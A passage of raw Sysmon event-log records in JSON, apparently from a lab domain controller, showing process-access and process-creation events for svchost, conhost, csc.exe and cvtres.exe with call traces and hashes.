C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.834","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4596,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.834\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.834","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4597,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.834\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.834","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4598,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.834\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.834","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4599,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.834\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-001080730600}\r\nSourceProcessId: 4108\r\nSourceThreadId: 3644\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-0010AF930600}\r\nTargetProcessId: 5032\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.834","SourceProcessGUID":"{90617006-413F-5F2D-0000-001080730600}","SourceProcessId":"4108","SourceThreadId":"3644","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-0010AF930600}","TargetProcessId":"5032","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4600,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.937\r\nProcessGuid: {90617006-413F-5F2D-0000-00103F970600}\r\nProcessId: 2856\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nFileVersion: 12.00.52519.0 built by: VSWINSERVICING\r\nDescription: Microsoft® Resource File To COFF Object Conversion Utility\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CVTRES.EXE\r\nCommandLine: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RESA753.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\CSCF1E22CDFDBD748E0874DADE863DC02E.TMP\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413F-5F2D-0000-0020D2720600}\r\nLogonId: 0x672D2\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF\r\nParentProcessGuid: {90617006-413F-5F2D-0000-0010AF930600}\r\nParentProcessId: 5032\r\nParentImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nParentCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\nlfue2jy.cmdline\"","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.937","ProcessGuid":"{90617006-413F-5F2D-0000-00103F970600}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","FileVersion":"12.00.52519.0 built by: VSWINSERVICING","Description":"Microsoft® Resource File To COFF Object Conversion Utility","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"CVTRES.EXE","CommandLine":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RESA753.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\CSCF1E22CDFDBD748E0874DADE863DC02E.TMP\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413F-5F2D-0000-0020D2720600}","LogonId":"0x672d2","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF","ParentProcessGuid":"{90617006-413F-5F2D-0000-0010AF930600}","ParentProcessId":"5032","ParentImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","ParentCommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\nlfue2jy.cmdline\"","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4601,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.928\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-0010AF930600}\r\nSourceProcessId: 5032\r\nSourceThreadId: 3376\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-00103F970600}\r\nTargetProcessId: 2856\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.928","SourceProcessGUID":"{90617006-413F-5F2D-0000-0010AF930600}","SourceProcessId":"5032","SourceThreadId":"3376","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-00103F970600}","TargetProcessId":"2856","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4602,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.928\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-00103F970600}\r\nTargetProcessId: 2856\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.928","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-00103F970600}","TargetProcessId":"2856","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4603,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.928\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 